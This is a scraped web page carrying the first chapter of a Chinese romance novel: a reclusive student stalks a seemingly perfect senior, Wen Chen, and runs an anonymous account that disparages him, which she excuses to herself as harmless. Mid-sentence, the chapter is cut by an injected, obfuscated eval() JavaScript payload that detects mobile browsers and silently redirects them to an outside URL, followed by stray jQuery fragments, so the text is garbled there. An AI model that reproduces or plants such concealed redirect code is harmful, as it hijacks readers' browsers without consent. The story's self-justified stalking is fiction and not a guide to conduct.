默认冷灰
24号文字
方正启体

1. 第 1 章

作者:宁独一本书字数:K更新时间:
    江晚二十年的人生里,从未见过,像温忱这么装腔作势的人。


    时值七月酷暑,明城大学已放暑假,江晚兼职的奶茶店客流量日趋减少,今天却是个例外。


    因为店内二楼正在进行一场简易采访。


    被采访的青年二十出头,长腿交叠坐在靠窗位置,一身浅色衬衫长裤,高挺的眉峰下睫毛纤长,从容应对每一个提问,宛如一幅慵懒疏淡的杂志封面,店内偷看他的女孩不在少数。


    结束后,校报成员一边收拾摄像机和话筒,一边跟青年握手道别。


    “温忱学长,谢谢你愿意接受我们的采访,我们回去一定会好好写的,不会像上次一样歪曲学长原话的。”


    温忱宽容地笑笑,“没关系,失误也是人之常情,只要守住新闻工作者的操守,你们的校报总会越做越好。”


    校报社员瞬间汗流浃背,讪讪告辞。


    温忱则继续转头敲他自己的代码,丝毫没有受到影响的样子。


    江晚身边的同事于佳轻鼓了下掌,由衷发出感慨:“温忱学长真是好脾气,被校报这群人天天缠着,还断章取义,他竟然都能这么心平气和,换我早都跟他们爆了。”


    江晚狠凿了一下冰块,声音充满不解,“学校里那么多品学兼优的同学,为什么非得采访温忱一个人呢?”


    “温忱学长年年绩点第一,直接保研本校,不采访他采访谁?”


    说到这里,于佳又有点心虚地承认:“当然,可能主要是因为长得帅。”


    明城大学是国内顶尖高校,风云人物多如过江之鲫,可温忱在其中仍属首屈一指,这跟他的家世品貌自然都脱不开关系。


    他父亲创立的远航科技在A股势头正盛,母亲是明城大学计算机学院的张教授,虽然早已离婚,但双方这么多年都未有别的孩子,温忱的重要性可见一斑。


    然而他拥有完全可以游戏人间的身世,却一直专心科研,各种奖项拿到手软。这样的人,长得还帅脾气又好,想不被关注也难。


    “唉,”于佳长长叹了口气,一脸痛惜,“怎么会有温忱学长这么完美的人,要是能让我过两天温忱学长的日子,就算是让我开豪车住别墅我也愿意啊。”


    又是一个被温忱的假面欺骗到的人!


    江晚闷闷嘀咕了一句“才不是呢”,就继续悻悻砸冰块去了。


    她长得不算高,一米六五,身材比之同龄女生有些过分瘦削和单薄,面色苍白,显得不大健康,其实五官细看是很漂亮的,柔和干净,是让人很舒服的长相。但她总是习惯性低垂着头,所以大多数人都不会注意到她的漂亮,只会注意到她的躲闪和拒绝。


    于佳最开始兼职的时候,还怀疑江晚对她有意见,但时间久了,她才发现江晚跟谁都不亲近,总是喜欢把自己藏起来,来客人的时候能躲则躲,但又怕被老板开除,于是工作时勤勤恳恳从不摸鱼。


    所以,是的,于佳已经完全接受了,大约江晚就是这么一个独来独往、闷头闷脑又孤僻的怪人吧。


    只是这次江晚并没能躲多久。


    “滴滴。”手机振动,点单小程序分配她去给19号桌位送一杯柠檬水。


    她立刻抿紧唇,因为这个19号桌,恰好就是温忱的位置。


    “加油。”于佳目送江晚端着做好的柠檬水离开,同情,又羡慕。


    反正给谁送餐都是打工,那给温忱学长送显然是更赏心悦目一点的,可惜这种事从没落到她身上。


    诶?等等。


    温忱学长来店里这么多次,他点的单有分到过其他人手里吗?


    于佳茫然地眨了下眼,但她还没细想,店里就来了新客人,她很快就把这件事抛之脑后。


    江晚端着柠檬水,磨磨蹭蹭的,到底还是走到了温忱身边,“您的柠檬水。”


    温忱戴着蓝牙耳机,不知道开了多大音量,丝毫没有反应,一直专心致志敲着键盘。


    江晚僵硬地站在那里,已经在心里骂了温忱好多遍,但又不敢表现出来。


    毕竟温忱身高接近一米九,肩宽腿长,离得远了还好,近了便很容易感到那种来自体型的压迫感。


    江晚只好垂着脑袋,很没出息地提高音量,重复了一遍,“您的柠檬水。”


    温忱这才慢条斯理从电脑上抬起头。


    他脸部轮廓凌厉,骨相分明,眼尾狭长,目光透过半眯的眼皮,轻轻落在了江晚脸上。


    那一眼,如同鹰隼或者毒蛇之类的东西逡巡领地,江晚脊背上蹿起一股古怪的战栗,手上一个不稳,柠檬水差点歪倒。


    “小心。”一只手稳稳地扶住她的托盘,指尖一触即分。


    温忱收回手,接过柠檬水,像是有点不好意思,微微弯起唇角,朝她眨了下眼,宛如春风化雨,温润友善,叫人疑心先前那一眼纯粹是种错觉。


    “不好意思,刚刚没有听到,要么我请你吃点东西吧?”


    “不用了。”江晚硬邦邦地一口回绝,掉头就走,并不领他的情。


    她觉得温忱刚才就是故意的,他就喜欢故意刁难人,然后用一点好处收买人心,他就是这么道貌岸然的家伙!


    而因为江晚完全识破了温忱的真面目,并拒绝了温忱的糖衣炮弹,江晚在心里狠狠给自己比了个大拇指,工作起来都更有精神了。


    一直到下午四点,江晚换下制服,跟老板结清了工资,结束了这学期的兼职。


    “暑假快乐呀晚晚。”于佳还要再干几天,羡慕地跟江晚挥了挥手。


    “喔……”江晚一直不太明白,于佳是怎么做到那么自然地叫她晚晚,又那么自然地跟她说暑假快乐的。


    她踌躇了一下,觉得自己也应该跟于佳挥手道别,但慢了一拍,于佳已经转头跟别的同事说话了。


    江晚的手刚举到半空,迅速收了回去,她尴尬极了,不敢再看任何人,头也不回地从店里跑出去了。


    因而也就没看到。


    二楼靠窗位置的温忱,早都没有再看电脑了。


    他目光落在江晚消失的门口,若有所思地偏着头,唇角笑意不知不觉间消失无踪。


    “温忱?”


    耳机里忽然传出一个少年的声音,将他思绪拉回来,“你怎么突然不说话了?”


    温忱收回目光,“只是在想毕业旅行的事情。”


    电脑上id叫“离”的头像跳动了下,少年狐疑:“你真要去旅游?那我们的算法怎么办?”


    温忱:“大框架我会抽时间写好,剩下的部分你自己看着办,有问题再联系我。”


    换言之,就是没事别来烦我的意思。


    “行吧,”少年敷衍地道:“头一次见你这么上赶着旅游,那个崇澜岛应该挺好玩的吧。”


    “是啊,”温忱像是想到什么非常愉悦的事情,唇角勾起,语气意味深长,“想想都觉得非常有趣。”


    *


    江晚掐着时间跑回宿舍,飞快冲了个澡,然后打开衣柜。


    里面有一条被挂烫得非常平整的蓝色连衣裙,缀着精致的珍珠胸针,质感和其它衣服不可同日而语。


    江晚珍惜地取出来换上,对着镜子打量好几番才出门,为了不再出一身汗,去商场的时候还很慷慨地打了个车。


    商场地下二楼的西餐厅,她想等的那个人已经到了。


    那是个非常美的女人,穿着宽松的白色长裙,姿态优雅端方,因为保养得当,根本看不出已经过了四十岁。


    江晚一路都很赶时间,可到了这会儿,却近乡情怯一样,止步不前。


    白裙女人抬头时注意到她,抬手招呼她过去,“晚晚。”


    “妈妈!”江晚像只上了发条的兔子,立刻小跑着过去,坐到女人对面,坐得很规矩,只是目光一直在女人脸上流连,依恋又克制。


    高璇微微笑了下,叫来服务员为江晚点了份牛排,“怎么样,期末考完了吗?暑假准备怎么过?”


    “考完了,过几天准备去旅游……”


    江晚没有纠正高璇,她的最后一门考试也早在半个月前就考完了,这很浪费时间。


    江晚七岁那年,高璇和别人再婚,她们见面的机会不多,上次见高璇,已经是三个月前的事情了。


    她很珍惜与高璇一起吃饭的时间,那些平日里根本无处分享的事情,她一股脑说给高璇听,脸颊因为激动而微微泛红。


    如果于佳在场,应该会很惊讶,原来江晚也有这么健谈的时候。


    但江晚说着说着,却还是停了下来,因为她察觉高璇听得心不在焉,手底下也没有怎么动筷子。


    “妈妈……”江晚观察着高璇丰腴了一圈的腰身,小心翼翼地问:“妈妈是不是比之前胖了?”


    成年人突然瘦了或者胖了,都有可能是生病的表现,江晚有点担心。


    高璇握着杯子的手却僵了僵,眼睫微垂,掩盖住了那一瞬的神色,仿若无事地道:“晚晚,你的生活费我已经给你打到卡上了,不够了记得跟我说,也记得别给你爸,你爸那人靠不住的。”


    江晚心脏猛然下坠,她知道,当高璇说这些话的时候,就意味着她要走了。


    她闷闷地答应了一声:“知道了。”


    高璇宽容地笑了笑,又揉了揉江晚的脑袋,仿佛是在面对孩子无赖的撒娇,嘱咐了几句便走了。


    剩下江晚一个人坐在那里,呆呆地看着妈妈餐盘里几乎没有动过的牛排,其实这才不到七点,妈妈也根本没吃几口呢。


    她呆了一会儿,又开始吃东西,把肚子吃得鼓鼓的,这才起身。


    她先坐电梯到商场最顶楼,然后开始一层一层往下逛,在逛到五楼的时候,她找到了她想找的。


    那也是一家西餐厅,只不过比刚才那家环境更优美,座位错落有致,还有人在里面弹奏钢琴。


    高璇坐在里面,身边坐着一个中年男人,两人言笑晏晏、相谈甚欢。男人的手掌时不时就会落在高璇的胳膊上,透出一股习惯性的亲密。


    江晚像是被针扎了一样,匆匆移开视线,去看他们对面那个二十出头的青年。


    温忱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342010|199386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并不常说话,只是一边聆听,一边微微笑着,是江晚最讨厌的那种虚伪表情。


    只要看到他们这副一家三口分外和谐的画面,江晚就会觉得胃部有什么东西在绞紧。


    但她还是躲在柱子后面,一直默默地看。


    他们用餐、聊天、分别,随后夫妻一起去逛街,温忱则坐着扶梯一路往下,出了商场。


    江晚隔了十多米的距离,默默地跟在温忱身后。


    明城的夜生活刚刚开始,街上繁华喧闹,但琳琅满目的橱窗吸引不了温忱的注意,语笑嫣然的行人无法让他侧目,他只是戴着耳机,独自穿行在街道上。


    “砰——”


    有个小孩打闹间撞到了温忱,手里捧的奶茶倾斜,洒在了温忱衬衫上,他的朋友立刻发出惊叫。


    温忱垂眸瞥了小孩一眼,并不带有恐吓或者愤怒的意味,却漠然得吓人。


    他淡淡收回目光,路过垃圾桶时,毫不犹豫把衬衫丢了进去,只着薄薄的T恤兀自前行。


    小孩刚从冲击中反应过来,想要追过去道歉,却看到这一幕,吓傻了在原地瑟瑟发抖。


    看吧,根本没有什么温柔的、谦逊的、友好的完美学长。


    江晚真后悔她没有把那一幕拍下来。


    她懊恼地拍了下自己的脑袋,才继续追上去,直到温忱走进他所住的小区。


    江晚没再看到新鲜素材,无趣地折身回家。


    她家在城中村一个老小区的二楼,最近大约是下水道坏了,闻起来味道很差。


    江晚捂着鼻子三步并作两步冲进了家,一边想着待会要干嘛,一边按开了客厅的灯,没成想一抬眼就看到沙发上有个人影,吓得蹭一下贴住了门。


    缓了下,她才看清那是江永平,惊魂未定地叫了一声,“爸。”


    江永平红肿着脸从沙发上坐起,含糊地应了声,眼睛因为光线刺激半眯着,打量了女儿半天,昏沉的大脑终于辨别出她罕见地穿上了那身蓝色裙子,便用带着酒气的口吻问:“今天去见你妈了?”


    江晚下意识捏紧裙子,“嗯……”


    “你妈,她把生活费给你打了吗?”


    江晚的手慢慢松开了,眼里也没有了别的情绪,她从书包里掏出一张银行卡,走过去放在了桌子上。


    江永平一直瞄着那张卡,瞅了江晚一眼,迅速把卡揣进兜里,嘴里振振有词,“你们小孩子就知道乱花钱,我帮你存着,等你结婚了给你。”


    “嗯。”江晚径自走向卧室。


    “你放暑假了是吧,假期准备干嘛?”


    江晚顿了下,信口胡诌:“找了个兼职,包吃包住,我明天就去。”


    江永平一喝酒话就格外多,“这才像话,人就得趁年轻多赚点钱,别像你李叔家的孩子一样,不是旅游就是学音乐学美术,其实一点用都……”


    江晚合上卧室门,反锁,把江永平剩下的话锁在了外面,没一会儿外面就传来“砰”的关门声,她知道那是江永平出去了,他拿到了钱,又可以出去玩了。


    其实高璇给的钱,大部分都在另一张卡上,她对这些钱心情复杂,几乎没怎么动过,但还是装进贴身带的包里。


    又收拾完其他行李,她才躺到床上,确认了一遍明天到崇澜岛的船票。


    江晚知道崇澜岛,是一周前在兼职的奶茶店。


    当时温忱去了洗手间,座位上空无一人,电脑屏幕又大敞着,上面显示温忱七月中旬入住崇澜岛某酒店的订单。


    江晚没能克制住偷看的冲动。


    她也不敢确定温忱真的会来,毕竟像温忱这么狡猾又铺张浪费的人,确定好行程又不来也是很有可能的。


    不过说来奇怪,她做这种事情,其实一次也没有扑空过。


    她不再多想,确认无误后,便登录微博,开始了今天的娱乐活动。


    她在一个名叫“今天wc掉人设了没”的账号上发博——


    “今天又发现了wc的一个阴暗面,他居然会欺负小孩,一定是因为没有家长和熟人在跟前,毕竟wc只会在有利可图的时候(比如在学校,他一定很享受大家的崇拜)装成一个好人。只要大家都擦亮眼睛,一定会发现的,wc的本质就是一个冷漠的、傲慢的、自私的、高高在上的、没有同理心的人!”


    穷尽她能想到的所有词汇后,江晚露出了一个很虚幻又很满足的微笑。


    但很快,她又害怕起来,生怕被别人发现,她其实是这种会跟踪别人、在背后说人坏话的坏孩子,但她又根本克制不了自己的这种行为。


    她知道这是不正常的,也许是某种心理问题或者精神疾病的表现。


    但相比于其他人会表现出的偷窃、暴力等危害社会安全的行为,她只是跟踪温忱这一个人,偷偷写点有关他的坏话,并且没有对温忱的生命安全做出过任何威胁,实在是无害得不能更无害,那她便认为自己的跟踪行为也变得可以原谅了。


    她如此劝慰着自己,握着手机,想着明天到崇澜岛的旅行,期待又惶惶不安地睡了过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)